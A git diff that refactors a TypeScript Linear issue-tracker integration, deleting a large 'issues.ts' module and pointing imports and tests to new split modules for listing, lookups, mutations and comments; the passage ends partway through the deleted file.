--- a/src/main/linear/issue-list-filter.ts
+++ b/src/main/linear/issue-list-filter.ts
@@ -2,7 +2,7 @@ import {
   isEmptyLinearIssueAttributeFilter,
   type LinearIssueAttributeFilter
 } from '../../shared/linear/issue-attribute-filter'
-import type { LinearListFilter } from './issues'
+import type { LinearListFilter } from './linear-issue-listing'
 
 // Why: attribute facets must merge into Linear's IssueFilter before the first-N
 // cursor walk so hasMore reflects the filtered set, not the unfiltered window.
diff --git a/src/main/linear/issue-relation-mutation.ts b/src/main/linear/issue-relation-mutation.ts
index f364de74001..dc4752b6bc5 100644
--- a/src/main/linear/issue-relation-mutation.ts
+++ b/src/main/linear/issue-relation-mutation.ts
@@ -1,7 +1,7 @@
 import type { LinearClient } from '@linear/sdk'
 import type { RawRelationNode } from './issue-context-raw'
 import { isAuthError } from './client'
-import { classifyLinearWriteFailure, LinearWriteFailure } from './issues'
+import { classifyLinearWriteFailure, LinearWriteFailure } from './linear-issue-write-support'
 
 type RelationMutationResponse = {
   issueRelationCreate?: {
diff --git a/src/main/linear/issue-relation-write.ts b/src/main/linear/issue-relation-write.ts
index 1f84d7f9d4b..13c48066bcb 100644
--- a/src/main/linear/issue-relation-write.ts
+++ b/src/main/linear/issue-relation-write.ts
@@ -16,7 +16,7 @@ import {
   type RawRelationsResponse
 } from './issue-context-raw'
 import { createLinearIssueRelation, deleteLinearIssueRelation } from './issue-relation-mutation'
-import { LinearWriteFailure } from './issues'
+import { LinearWriteFailure } from './linear-issue-write-support'
 
 const RELATION_WRITE_READ_CAP = 250
 
diff --git a/src/main/linear/issues.test.ts b/src/main/linear/issues.test.ts
index a168b05471c..ecc2060aabb 100644
--- a/src/main/linear/issues.test.ts
+++ b/src/main/linear/issues.test.ts
@@ -104,7 +104,7 @@ describe('Linear issue queries', () => {
     rawRequest.mockResolvedValueOnce({
       data: { issues: { nodes: [rawIssue('LIN-1')] } }
     })
-    const { listIssues } = await import('./issues')
+    const { listIssues } = await import('./linear-issue-listing')
 
     await expect(listIssues('all', 36, 'workspace-1')).resolves.toMatchObject({
       items: [
@@ -131,7 +131,7 @@ describe('Linear issue queries', () => {
     rawRequest.mockResolvedValueOnce({
       data: { issues: { nodes: [rawIssue('LIN-1', undefined, 'team/lin-1-fix')] } }
     })
-    const { listIssues } = await import('./issues')
+    const { listIssues } = await import('./linear-issue-listing')
 
     await expect(listIssues('all', 10, 'workspace-1')).resolves.toMatchObject({
       items: [{ branchName: 'team/lin-1-fix' }]
@@ -167,7 +167,7 @@ describe('Linear issue queries', () => {
         }
       }
     })
-    const { getIssueComments } = await import('./issues')
+    const { getIssueComments } = await import('./linear-issue-comments')
 
     await expect(getIssueComments('issue-uuid', 'workspace-1')).resolves.toEqual([
       {
@@ -194,7 +194,7 @@ describe('Linear issue queries', () => {
 
   it('returns an empty comment list when no Linear client is configured', async () => {
     getClients.mockReturnValue([])
-    const { getIssueComments } = await import('./issues')
+    const { getIssueComments } = await import('./linear-issue-comments')
 
     await expect(getIssueComments('issue-uuid', 'workspace-1')).resolves.toEqual([])
     expect(rawRequest).not.toHaveBeenCalled()
@@ -204,7 +204,7 @@ describe('Linear issue queries', () => {
     rawRequest.mockResolvedValueOnce({
       data: { issues: { nodes: [rawIssue('LIN-1')], pageInfo: { hasNextPage: false } } }
     })
-    const { listIssues } = await import('./issues')
+    const { listIssues } = await import('./linear-issue-listing')
 
     await expect(
       listIssues('open', 10, 'workspace-1', { teamId: 'team-1' })
@@ -226,7 +226,7 @@ describe('Linear issue queries', () => {
     rawRequest.mockResolvedValueOnce({
       data: { issues: { nodes: [rawIssue('LIN-1')], pageInfo: { hasNextPage: false } } }
     })
-    const { listIssues } = await import('./issues')
+    const { listIssues } = await import('./linear-issue-listing')
 
     await expect(
       listIssues('all', 10, 'workspace-1', {
@@ -250,7 +250,7 @@ describe('Linear issue queries', () => {
   })
 
   it('rejects non-empty attribute filters when workspace scope is all', async () => {
-    const { listIssues } = await import('./issues')
+    const { listIssues } = await import('./linear-issue-listing')
     await expect(
       listIssues('all', 10, 'all', {
         attributeFilter: {
@@ -275,7 +275,7 @@ describe('Linear issue queries', () => {
         }
       }
     })
-    const { searchIssues } = await import('./issues')
+    const { searchIssues } = await import('./linear-issue-lookups')
 
     await expect(searchIssues('bug', 36, 'workspace-1')).resolves.toMatchObject([
       { id: 'LIN-OLD' },
@@ -302,7 +302,7 @@ describe('Linear issue queries', () => {
         }
       }
     })
-    const { listIssues } = await import('./issues')
+    const { listIssues } = await import('./linear-issue-listing')
 
     await expect(listIssues('all', 36, 'workspace-1')).resolves.toMatchObject({
       items: [
@@ -320,7 +320,9 @@ describe('Linear issue queries', () => {
     getClients.mockImplementation(() => {
       throw error
     })
-    const { createIssue, listIssues, searchIssues } = await import('./issues')
+    const { createIssue } = await import('./linear-issue-mutations')
+    const { listIssues } = await import('./linear-issue-listing')
+    const { searchIssues } = await import('./linear-issue-lookups')
 
     await expect(searchIssues('bug', 20, 'workspace-1')).rejects.toThrow(error.message)
     await expect(listIssues('all', 20, 'workspace-1')).rejects.toThrow(error.message)
@@ -333,7 +335,7 @@ describe('Linear issue queries', () => {
     rawRequest.mockResolvedValueOnce({
       data: { issues: { nodes: [rawIssue('LIN-1')], pageInfo: { hasNextPage: true } } }
     })
-    const { listIssues } = await import('./issues')
+    const { listIssues } = await import('./linear-issue-listing')
 
     await expect(listIssues('all', 36, 'workspace-1')).resolves.toMatchObject({
       items: [{ id: 'LIN-1' }],
@@ -355,7 +357,7 @@ describe('Linear issue queries', () => {
           { hasNextPage: false, endCursor: null }
         )
       )
-    const { listIssues } = await import('./issues')
+    const { listIssues } = await import('./linear-issue-listing')
 
     const result = await listIssues('all', 72, 'workspace-1')
 
@@ -393,7 +395,7 @@ describe('Linear issue queries', () => {
           }
         }
       })
-    const { listIssues } = await import('./issues')
+    const { listIssues } = await import('./linear-issue-listing')
 
     await expect(listIssues('all', 1, 'all')).resolves.toMatchObject({
       items: [{ id: 'LIN-NEW' }],
@@ -419,7 +421,7 @@ describe('Linear issue queries', () => {
         }
       }
     })
-    const { listIssues } = await import('./issues')
+    const { listIssues } = await import('./linear-issue-listing')
 
     await expect(listIssues('all', 10, 'all')).resolves.toMatchObject({
       items: [{ id: 'LIN-OK' }],
@@ -436,7 +438,7 @@ describe('Linear issue queries', () => {
 
   it('keeps workspace errors on single-workspace lists', async () => {
     rawRequest.mockRejectedValueOnce(new Error('fetch failed'))
-    const { listIssues } = await import('./issues')
+    const { listIssues } = await import('./linear-issue-listing')
 
     await expect(listIssues('all', 10, 'workspace-1')).resolves.toMatchObject({
       items: [],
@@ -482,7 +484,7 @@ describe('Linear issue queries', () => {
         endCursor: 'workspace-2-cursor-50'
       })
     )
-    const { listIssues } = await import('./issues')
+    const { listIssues } = await import('./linear-issue-listing')
 
     const result = await listIssues('all', 72, 'all')
 
@@ -520,7 +522,7 @@ describe('Linear issue queries', () => {
         }
       }
     ])
-    const { updateIssue: updateLinearIssue } = await import('./issues')
+    const { updateIssue: updateLinearIssue } = await import('./linear-issue-mutations')
 
     await expect(updateLinearIssue('issue-1', { estimate: 5 }, 'workspace-1')).resolves.toEqual({
       ok: true
@@ -532,7 +534,7 @@ describe('Linear issue queries', () => {
   it('sends due date updates through to Linear', async () => {
     const updateIssue = vi.fn().mockResolvedValue({ success: true })
     getClients.mockReturnValue([{ ...makeEntry(), client: { updateIssue } }])
-    const { updateIssue: updateLinearIssue } = await import('./issues')
+    const { updateIssue: updateLinearIssue } = await import('./linear-issue-mutations')
 
     await expect(
       updateLinearIssue('issue-1', { dueDate: '2026-06-30' }, 'workspace-1')
@@ -563,7 +565,7 @@ describe('Linear issue queries', () => {
         client: { updateIssue, client: { rawRequest } }
       }
     ])
-    const { updateIssueForAgent } = await import('./issues')
+    const { updateIssueForAgent } = await import('./linear-issue-mutations')
 
     await expect(
       updateIssueForAgent('issue-1', { stateId: 'state-review' }, 'workspace-1')
@@ -597,7 +599,7 @@ describe('Linear issue queries', () => {
     getClients.mockReturnValue([
       { ...makeEntry(), client: { updateIssue, client: { rawRequest } } }
     ])
-    const { updateIssueForAgent } = await import('./issues')
+    const { updateIssueForAgent } = await import('./linear-issue-mutations')
 
     await expect(
       updateIssueForAgent(
@@ -624,7 +626,7 @@ describe('Linear issue queries', () => {
         client: { updateIssue, client: { rawRequest } }
       }
     ])
-    const { updateIssueForAgent } = await import('./issues')
+    const { updateIssueForAgent } = await import('./linear-issue-mutations')
 
     await expect(
       updateIssueForAgent('issue-1', { stateId: 'state-review' }, 'workspace-1')
@@ -644,7 +646,7 @@ describe('Linear issue queries', () => {
       )
     getClients.mockReturnValue([{ ...makeEntry(), client: { client: { rawRequest } } }])
     const { getIssueByUuidForAgent, getCommentByUuidForAgent, getAttachmentByUuidForAgent } =
-      await import('./issues')
+      await import('./linear-issue-lookups')
 
     await expect(getIssueByUuidForAgent('missing-issue', 'workspace-1')).resolves.toBeNull()
     await expect(getCommentByUuidForAgent('missing-comment', 'workspace-1')).resolves.toBeNull()
@@ -665,7 +667,7 @@ describe('Linear issue queries', () => {
         client: { createComment }
       }
     ])
-    const { addIssueComment } = await import('./issues')
+    const { addIssueComment } = await import('./linear-issue-comments')
 
     await expect(
       addIssueComment('issue-1', 'hello', 'workspace-1', {
@@ -703,7 +705,7 @@ describe('Linear issue queries', () => {
         client: { createAttachment, client: { rawRequest } }
       }
     ])
-    const { createIssueAttachment } = await import('./issues')
+    const { createIssueAttachment } = await import('./linear-issue-comments')
 
     await expect(
       createIssueAttachment(
@@ -737,7 +739,7 @@ describe('Linear issue queries', () => {
         client: { createAttachment, client: { rawRequest } }
       }
     ])
-    const { createIssueAttachment } = await import('./issues')
+    const { createIssueAttachment } = await import('./linear-issue-comments')
 
     await expect(
       createIssueAttachment(
@@ -776,7 +778,7 @@ describe('Linear issue queries', () => {
         client: { createIssue, client: { rawRequest } }
       }
     ])
-    const { createIssueForAgent } = await import('./issues')
+    const { createIssueForAgent } = await import('./linear-issue-mutations')
 
     await expect(
       createIssueForAgent('team-1', 'Follow up', 'Details', 'workspace-1', {
@@ -813,7 +815,7 @@ describe('Linear issue queries', () => {
         client: { createIssue, client: { rawRequest } }
       }
     ])
-    const { createIssueForAgent } = await import('./issues')
+    const { createIssueForAgent } = await import('./linear-issue-mutations')
 
     await expect(
       createIssueForAgent('team-1', 'Follow up', 'Details', 'workspace-1', {
@@ -836,7 +838,7 @@ describe('Linear issue queries', () => {
         client: { createIssue, client: { rawRequest } }
       }
     ])
-    const { createIssueForAgent } = await import('./issues')
+    const { createIssueForAgent } = await import('./linear-issue-mutations')
 
     await expect(
       createIssueForAgent('team-1', 'Follow up', 'Details', 'workspace-1', {
@@ -858,7 +860,7 @@ describe('Linear issue queries', () => {
         }
       }
     })
-    const { getIssueCommentThreadRoot } = await import('./issues')
+    const { getIssueCommentThreadRoot } = await import('./linear-issue-lookups')
 
     await expect(getIssueCommentThreadRoot('issue-1', 'reply-1', 'workspace-1')).resolves.toEqual({
       id: 'root-1',
diff --git a/src/main/linear/issues.ts b/src/main/linear/issues.ts
deleted file mode 100644
index 203cd4dfbb9..00000000000
--- a/src/main/linear/issues.ts
+++ /dev/null
@@ -1,1531 +0,0 @@
-/* eslint-disable max-lines -- Why: Linear issue reads and mutations share the
-   same workspace fan-out/error handling, so keeping them together avoids
-   drifting auth-clearing behavior between operations. */
-import type { LinearIssueUpdate } from '../../shared/issue-mutation-types'
-import type { LinearComment, LinearIssue } from '../../shared/linear/issue-types'
-import type {
-  LinearCollectionResult,
-  LinearWorkspaceError,
-  LinearWorkspaceSelection
-} from '../../shared/linear/workspace-types'
-import type { LinearClient } from '@linear/sdk'
-import { loadLinearSdk } from './linear-sdk'
-import {
-  LINEAR_ISSUE_API_PAGE_SIZE_MAX,
-  clampLinearIssueListLimit
-} from '../../shared/linear/issue-read-limits'
-import {
-  isEmptyLinearIssueAttributeFilter,
-  type LinearIssueAttributeFilter
-} from '../../shared/linear/issue-attribute-filter'
-import { acquire, release } from './linear-request-concurrency'
-import { clearToken } from './linear-token-store'
-import { getClients, isAuthError, type LinearClientForWorkspace } from './client'
-import { buildLinearListIssueFilter } from './issue-list-filter'
-import { mapLinearIssue } from './mappers'
-
-export type LinearIssueListOptions = {
-  teamId?: string
-  attributeFilter?: LinearIssueAttributeFilter | null
-}
-
-type LinearIssueNode = {
-  id: string
-  identifier: string
-  title: string
-  branchName?: string | null
-  description?: string | null
-  url: string
-  dueDate?: string | null
-  estimate?: number | null
-  priority: number
-  updatedAt: string
-  labelIds?: string[] | null
-  state?: {
-    name?: string | null
-    type?: string | null
-    color?: string | null
-  } | null
-  team?: {
-    id?: string | null
-    name?: string | null
-    key?: string | null
-  } | null
-  assignee?: {
-    id: string
-    displayName: string
-    avatarUrl?: string | null
-  } | null
-  labels?: {
-    nodes?: { id: string; name: string }[]
-  } | null
-}
-
-type LinearIssueConnectionResponse = {
-  searchIssues?: { nodes?: LinearIssueNode[] }
-  issues?: LinearIssueConnection
-  viewer?: {
-    assignedIssues?: LinearIssueConnection
-    createdIssues?: LinearIssueConnection
-  }
-}
-
-type LinearIssueConnection = {
-  nodes?: LinearIssueNode[]
-  pageInfo?: {
-    hasNextPage?: boolean
-    endCursor?: string | null
-  }
-}
-
-type LinearRawVariables = Record<string, unknown>
-type LinearIssuePageRequest = {
-  first: number
-  after?: string
-}
-type LinearIssueConnectionLoader = (
-  page: LinearIssuePageRequest
-) => Promise<LinearIssueConnection | null | undefined>
-
-export type LinearWriteFailureKind = 'duplicate_id' | 'failed' | 'network' | 'unconfirmed'
-
-export class LinearWriteFailure extends Error {
-  readonly kind: LinearWriteFailureKind
-  readonly cause: unknown
-
-  constructor(kind: LinearWriteFailureKind, message: string, cause?: unknown) {
-    super(message)
-    this.name = 'LinearWriteFailure'
-    this.kind = kind
-    this.cause = cause
-  }
-}
-
-export type LinearIssueWriteRecord = {
-  id: string
-  identifier: string
-  title: string
-  description?: string | null
-  url: string
-  team: { id: string; key: string; name: string }
-  state: { id: string; name: string } | null
-  parent: { id: string; identifier: string } | null
-  project?: { id: string; name: string } | null
-  assignee?: { id: string; displayName: string } | null
-  priority?: number | null
-  estimate?: number | null
-  dueDate?: string | null
-  labelIds?: string[] | null
-  labels?: { id: string; name: string }[]
-}
-
-export type LinearCommentWriteRecord = {
-  id: string
-  url: string | null
-  body: string
-  issue: { id: string; identifier: string; url: string }
-  parentId: string | null
-  threadRootId: string | null
-}
-
-export type LinearAttachmentWriteRecord = {
-  id: string
-  title: string
-  url: string
-  issue: { id: string; identifier: string; url: string }
-}
-
-const LINEAR_ISSUE_NODE_FIELDS = `
-  id
-  identifier
-  title
-  branchName
-  description
-  url
-  dueDate
-  priority
-  estimate
-  updatedAt
-  labelIds
-  state {
-    name
-    type
-    color
-  }
-  team {
-    id
-    name
-    key
-  }
-  assignee {
-    id
-    displayName
-    avatarUrl
-  }
-  labels(first: 50) {
-    nodes {
-      id
-      name
-    }
-  }
-`
-
-const SEARCH_ISSUES_QUERY = `
-  query OrcaLinearIssueSearch($term: String!, $first: Int) {
-    searchIssues(term: $term, first: $first) {
-      nodes {
-        ${LINEAR_ISSUE_NODE_FIELDS}
-      }
-    }
-  }
-`
-
-const ALL_ISSUES_QUERY = `
-  query OrcaLinearIssues(
-    $first: Int,
-    $after: String,
-    $filter: IssueFilter,
-    $orderBy: PaginationOrderBy
-  ) {
-    issues(first: $first, after: $after, filter: $filter, orderBy: $orderBy) {
-      nodes {
-        ${LINEAR_ISSUE_NODE_FIELDS}
-      }
-      pageInfo {
-        hasNextPage
-        endCursor
-      }
-    }
-  }
-`
-
-const VIEWER_ASSIGNED_ISSUES_QUERY = `
-  query OrcaLinearViewerAssignedIssues(
-    $first: Int,
-    $after: String,
-    $filter: IssueFilter,
-    $orderBy: PaginationOrderBy
-  ) {
-    viewer {
-      assignedIssues(first: $first, after: $after, filter: $filter, orderBy: $orderBy) {
-        nodes {
-          ${LINEAR_ISSUE_NODE_FIELDS}
-        }
-        pageInfo {
-          hasNextPage
-          endCursor
-        }
-      }
-    }
-  }
-`
-
-const VIEWER_CREATED_ISSUES_QUERY = `
-  query OrcaLinearViewerCreatedIssues(
-    $first: Int,
-    $after: String,
-    $filter: IssueFilter,
-    $orderBy: PaginationOrderBy
-  ) {
-    viewer {
-      createdIssues(first: $first, after: $after, filter: $filter, orderBy: $orderBy) {
-        nodes {
-          ${LINEAR_ISSUE_NODE_FIELDS}
-        }
-        pageInfo {
-          hasNextPage
-          endCursor
-        }
-      }
-    }
-  }
-`
-
-const AGENT_ISSUE_WRITE_FIELDS = `
-  id
-  identifier
-  title
-  description
-  url
-  team { id key name }
-  state { id name }
-  parent { id identifier }
-  project { id name }
-  assignee { id displayName }
-  priority
-  estimate
-  dueDate
-  labelIds
-  labels(first: 50) { nodes { id name } }
-`
-
-const ISSUE_BY_UUID_QUERY = `
-  query OrcaLinearIssueByUuid($id: String!) {
-    issue(id: $id) {
-      ${AGENT_ISSUE_WRITE_FIELDS}
-    }
-  }
-`
-
-const COMMENT_BY_UUID_QUERY = `
-  query OrcaLinearCommentByUuid($id: String!) {
-    comment(id: $id) {
-      id
-      url
-      body
-      parent { id }
-      issue { id identifier url }
-    }
-  }
-`
-
-const ATTACHMENT_BY_UUID_QUERY = `
-  query OrcaLinearAttachmentByUuid($id: String!) {
-    attachment(id: $id) {
-      id
-      title
-      url
-      issue { id identifier url }
-    }
-  }
-`
-
-// Why: fetch comments with their author in a single request. Accessing
-// `.user` on the SDK's Comment model lazily issues one user(id) query per
-// comment, so the previous loop was an N+1 (issue + comments + N user
-// fetches, all sequential while holding a shared Linear concurrency slot).
-// first: 50 matches the SDK default page size the previous code relied on.
-const ISSUE_COMMENTS_QUERY = `
-  query OrcaLinearIssueComments($id: String!) {
-    issue(id: $id) {
-      comments(first: 50) {
-        nodes {
-          id
-          body
-          createdAt
-          user {
-            displayName
-            avatarUrl
-          }
-        }
-      }
-    }
-  }
-`
-
-type LinearIssueByUuidResponse = {
-  issue?:
-    | (Omit<LinearIssueWriteRecord, 'labels'> & {
-        labels?: { nodes?: { id: string; name: string }[] } | null
-      })
-    | null
-}
-
-type LinearCommentByUuidResponse = {
-  comment?: {
-    id: string
-    url?: string | null
-    body?: string | null
-    parent?: { id?: string | null } | null
-    issue?: { id?: string | null; identifier?: string | null; url?: string | null } | null
-  } | null
-}
-
-type LinearAttachmentByUuidResponse = {
-  attachment?: {
-    id: string
-    title?: string | null
-    url?: string | null
-    issue?: { id?: string | null; identifier?: string | null; url?: string | null } | null
-  } | null
-}
-
-type LinearIssueCommentsResponse = {
-  issue?: {
-    comments?: {
-      nodes?:
-        | {
-            id: string
-            body?: string | null
-            createdAt?: string | null
-            user?: { displayName?: string | null; avatarUrl?: string | null } | null
-          }[]
-        | null
-    } | null
-  } | null
-}
-
-async function mapIssueForWorkspace(
-  entry: LinearClientForWorkspace,
-  issue: Parameters<typeof mapLinearIssue>[0],
-  options?: Parameters<typeof mapLinearIssue>[1]
-): Promise<LinearIssue> {
-  const mapped = await mapLinearIssue(issue, options)
-  return {
-    ...mapped,
-    workspaceId: entry.workspace.id,
-    workspaceName: entry.workspace.organizationName
-  }
-}
-
-function sortAndLimitIssues(issues: LinearIssue[], limit: number): LinearIssue[] {
-  return issues
-    .sort((a, b) => new Date(b.updatedAt).getTime() - new Date(a.updatedAt).getTime())
-    .slice(0, limit)
-}
-
-function sortLimitAndDescribeIssues(
-  issues: LinearIssue[],
-  limit: number
-): { items: LinearIssue[]; clipped: boolean } {
-  const sorted = issues.sort(
-    (a, b) => new Date(b.updatedAt).getTime() - new Date(a.updatedAt).getTime()
-  )
-  return {
-    items: sorted.slice(0, limit),
-    clipped: sorted.length > limit
-  }
-}
-
-function mapRawIssueForWorkspace(
-  entry: LinearClientForWorkspace,
-  issue: LinearIssueNode
-): LinearIssue {
-  const labelNodes = issue.labels?.nodes ?? []
-  return {
-    id: issue.id,
-    identifier: issue.identifier,
-    title: issue.title,
-    branchName: issue.branchName ?? undefined,
-    description: issue.description ?? undefined,
-    url: issue.url,
-    state: {
-      name: issue.state?.name ?? '',
-      type: issue.state?.type ?? '',
-      color: issue.state?.color ?? ''
-    },
-    team: {
-      id: issue.team?.id ?? '',
-      name: issue.team?.name ?? '',
-      key: issue.team?.key ?? ''
-    },
-    labels: labelNodes.map((label) => label.name),
-    // Why: labelIds drives full-replace updates. Keep Linear's complete id
-    // list even when display label nodes are paginated.
-    labelIds: issue.labelIds ?? labelNodes.map((label) => label.id),
-    assignee: issue.assignee
-      ? {
-          id: issue.assignee.id,
-          displayName: issue.assignee.displayName,
-          avatarUrl: issue.assignee.avatarUrl ?? undefined
-        }
-      : undefined,
-    estimate: issue.estimate ?? null,
-    priority: issue.priority,
-    dueDate: issue.dueDate ?? null,
-    updatedAt: issue.updatedAt,
-    workspaceId: entry.workspace.id,
-    workspaceName: entry.workspace.organizationName
-  }
-}
-
-async function readIssueConnectionPages(
-  entry: LinearClientForWorkspace,
-  limit: number,
-  loadConnection: LinearIssueConnectionLoader
-): Promise<{ items: LinearIssue[]; hasMore: boolean }> {
-  const items: LinearIssue[] = []
-  let after: string | undefined
-  let hasMore = false
-
-  while (items.length < limit) {
-    // Why: Linear caps connection pages at 50, so larger Orca reads must walk
-    // cursors instead of asking for the whole expanded limit in one request.
-    const first = Math.min(LINEAR_ISSUE_API_PAGE_SIZE_MAX, limit - items.length)
-    const connection = await loadConnection(after ? { first, after } : { first })
-    const nodes = connection?.nodes ?? []
-    items.push(...nodes.map((issue) => mapRawIssueForWorkspace(entry, issue)))
-    hasMore = Boolean(connection?.pageInfo?.hasNextPage)
-
-    const nextCursor = connection?.pageInfo?.endCursor ?? undefined
-    if (!hasMore || !nextCursor || nextCursor === after || nodes.length === 0) {
-      break
-    }
-    after = nextCursor
-  }
-
-  return { items, hasMore }
-}
-
-function getOldestIssueTime(issues: LinearIssue[]): number {
-  const oldestIssue = issues.at(-1)
-  return oldestIssue ? new Date(oldestIssue.updatedAt).getTime() : Number.POSITIVE_INFINITY
-}
-
-function getListIssueConnectionLoader(
-  entry: LinearClientForWorkspace,
-  filter: LinearListFilter,
-  options?: LinearIssueListOptions
-): LinearIssueConnectionLoader {
-  const orderBy = 'updatedAt'
-  const variables = { orderBy }
-  // Why: apply attribute + team filters in GraphQL variables before the first-N
-  // cursor walk so pagination hasMore matches the filtered set.
-  const filterInput = buildLinearListIssueFilter({
-    filter,
-    teamId: options?.teamId,
-    attributeFilter: options?.attributeFilter
-  })
-
-  if (filter === 'assigned') {
-    return async (page) => {
-      const result = await entry.client.client.rawRequest<
-        LinearIssueConnectionResponse,
-        LinearRawVariables
-      >(VIEWER_ASSIGNED_ISSUES_QUERY, {
-        ...variables,
-        ...page,
-        filter: filterInput
-      })
-      return result.data?.viewer?.assignedIssues
-    }
-  }
-
-  if (filter === 'created') {
-    return async (page) => {
-      const result = await entry.client.client.rawRequest<
-        LinearIssueConnectionResponse,
-        LinearRawVariables
-      >(VIEWER_CREATED_ISSUES_QUERY, {
-        ...variables,
-        ...page,
-        filter: filterInput
-      })
-      return result.data?.viewer?.createdIssues
-    }
-  }
-
-  if (filter === 'completed') {
-    return async (page) => {
-      const result = await entry.client.client.rawRequest<
-        LinearIssueConnectionResponse,
-        LinearRawVariables
-      >(VIEWER_ASSIGNED_ISSUES_QUERY, {
-        ...variables,
-        ...page,
-        filter: filterInput
-      })
-      return result.data?.viewer?.assignedIssues
-    }
-  }
-
-  return async (page) => {
-    const result = await entry.client.client.rawRequest<
-      LinearIssueConnectionResponse,
-      LinearRawVariables
-    >(ALL_ISSUES_QUERY, { ...variables, ...page, filter: filterInput })
-    return result.data?.issues
-  }
-}
-
-function shouldThrowAuthError(selection: LinearWorkspaceSelection | null | undefined): boolean {
-  return selection !== 'all'
-}
-
-function linearWriteMessage(error: unknown): string {
-  return error instanceof Error ? error.message : String(error)
-}
-
-function isDuplicateIdError(error: unknown): boolean {
-  const message = linearWriteMessage(error).toLowerCase()
-  return (
-    message.includes('duplicate') ||
-    message.includes('already exists') ||
-    message.includes('already in use') ||
-    message.includes('id has already')
-  )
-}
-
-function errorCauseCode(error: unknown): string {
-  if (!error || typeof error !== 'object') {
-    return ''
-  }
-  const cause = (error as { cause?: unknown }).cause
-  if (!cause || typeof cause !== 'object') {
-    return ''
-  }
-  const code = (cause as { code?: unknown }).code
-  return typeof code === 'string' ? code.toLowerCase() : ''
-}
-
-export function classifyLinearWriteFailure(error: unknown): LinearWriteFailure {
-  if (error instanceof LinearWriteFailure) {
-    return error
-  }
-  if (isDuplicateIdError(error)) {
-    return new LinearWriteFailure('duplicate_id', linearWriteMessage(error), error)
-  }
-  const message = linearWriteMessage(error)
-  const lower = message.toLowerCase()
-  const code = errorCauseCode(error)
-  if (
-    lower.includes('enotfound') ||
-    lower.includes('econnrefused') ||
-    code === 'enotfound' ||
-    code === 'econnrefused'
-  ) {
-    return new LinearWriteFailure('network', message, error)
-  }
-  if (
-    lower.includes('abort') ||
-    lower.includes('timeout') ||
-    lower.includes('timed out') ||
-    lower.includes('network') ||
-    lower.includes('econnreset') ||
-    lower.includes('fetch failed') ||
-    lower.includes('socket')
-  ) {
-    return new LinearWriteFailure('unconfirmed', message, error)
-  }
-  return new LinearWriteFailure('failed', message, error)
-}
-
-async function runLinearWrite<T>(
-  entry: LinearClientForWorkspace,
-  signal: AbortSignal | undefined,
-  write: (client: LinearClient) => Promise<T>
-): Promise<T> {
-  await acquire()
-  try {
-    const client = signal
-      ? new (loadLinearSdk().LinearClient)({ apiKey: entry.apiKey, signal })
-      : entry.client
-    return await write(client)
-  } catch (error) {
-    if (error instanceof LinearWriteFailure) {
-      throw error
-    }
-    if (isAuthError(error)) {
-      clearToken(entry.workspace.id)
-      throw error
-    }
-    throw classifyLinearWriteFailure(error)
-  } finally {
-    release()
-  }
-}
-
-async function runLinearLookup<T>(
-  entry: LinearClientForWorkspace,
-  lookup: () => Promise<T>
-): Promise<T | null> {
-  await acquire()
-  try {
-    return await lookup()
-  } catch (error) {
-    if (isAuthError(error)) {
-      clearToken(entry.workspace.id)
-      throw error
-    }
-    if (isLinearLookupMiss(error)) {
-      return null
-    }
-    throw error
-  } finally {
-    release()
-  }
-}
-
-function isLinearLookupMiss(error: unknown): boolean {
-  const message = error instanceof Error ? error.message : String(error)
-  // Why: Linear throws for direct entity lookups that miss; write-id probes
-  // need the same null shape as GraphQL nullable data, not a failed write.
-  return message.includes('Entity not found:') && message.includes('Could not find referenced')
-}
-
-async function confirmLinearWrite<T>(message: string, readback: () => Promise<T>): Promise<T> {
-  try {
-    return await readback()
-  } catch (error) {
-    throw new LinearWriteFailure('unconfirmed', message, error)
-  }
-}
-
-function mapRawCommentWriteRecord(
-  comment: NonNullable<LinearCommentByUuidResponse['comment']>
-): LinearCommentWriteRecord | null {
-  const issue = comment.issue
-  if (!issue?.id || !issue.identifier || !issue.url) {
-    return null
-  }
-  const parentId = comment.parent?.id ?? null
-  return {
-    id: comment.id,
-    url: comment.url ?? null,
-    body: comment.body ?? '',
-    issue: {
-      id: issue.id,
-      identifier: issue.identifier,
-      url: issue.url
-    },
-    parentId,
-    threadRootId: parentId ?? comment.id
-  }
-}
-
-function mapRawAttachmentWriteRecord(
-  attachment: NonNullable<LinearAttachmentByUuidResponse['attachment']>
-): LinearAttachmentWriteRecord | null {
-  const issue = attachment.issue
-  if (!issue?.id || !issue.identifier || !issue.url || !attachment.url) {
-    return null
-  }
-  return {
-    id: attachment.id,
-    title: attachment.title ?? attachment.url,
-    url: attachment.url,
-    issue: {
-      id: issue.id,
-      identifier: issue.identifier,
-      url: issue.url
-    }
-  }
-}
-
-function mapRawIssueWriteRecord(
-  issue: NonNullable<LinearIssueByUuidResponse['issue']>
-): LinearIssueWriteRecord {
-  return {
-    ...issue,
-    labels: issue.labels?.nodes ?? []
-  }
-}
-
-export async function getIssue(
-  id: string,
-  workspaceId?: LinearWorkspaceSelection | null
-): Promise<LinearIssue | null> {
-  const entries = getClients(workspaceId)
-  if (entries.length === 0) {
-    return null
-  }
-
-  for (const entry of entries) {
-    await acquire()
-    try {
-      const issue = await entry.client.issue(id)
-      return await mapIssueForWorkspace(entry, issue, {
-        includeChildren: true,
-        includeProject: true
-      })
-    } catch (error) {
-      if (isAuthError(error)) {
-        clearToken(entry.workspace.id)
-        if (shouldThrowAuthError(workspaceId)) {
-          throw error
-        }
-      } else {
-        console.warn('[linear] getIssue failed:', error)
-      }
-    } finally {
-      release()
-    }
-  }
-  return null
-}
-
-export async function getIssueByUuidForAgent(
-  id: string,
-  workspaceId?: string | null
-): Promise<LinearIssueWriteRecord | null> {
-  const entry = getClients(workspaceId)[0]
-  if (!entry) {
-    return null
-  }
-
-  return runLinearLookup(entry, async () => {
-    const result = await entry.client.client.rawRequest<
-      LinearIssueByUuidResponse,
-      LinearRawVariables
-    >(ISSUE_BY_UUID_QUERY, { id })
-    const issue = result.data?.issue ?? null
-    return issue ? mapRawIssueWriteRecord(issue) : null
-  })
-}
-
-export async function getCommentByUuidForAgent(
-  id: string,
-  workspaceId?: string | null
-): Promise<LinearCommentWriteRecord | null> {
-  const entry = getClients(workspaceId)[0]
-  if (!entry) {
-    return null
-  }
-
-  return runLinearLookup(entry, async () => {
-    const result = await entry.client.client.rawRequest<
-      LinearCommentByUuidResponse,
-      LinearRawVariables
-    >(COMMENT_BY_UUID_QUERY, { id })
-    const comment = result.data?.comment
-    return comment ? mapRawCommentWriteRecord(comment) : null
-  })
-}
-
-export async function getAttachmentByUuidForAgent(
-  id: string,
-  workspaceId?: string | null
-): Promise<LinearAttachmentWriteRecord | null> {
-  const entry = getClients(workspaceId)[0]
-  if (!entry) {
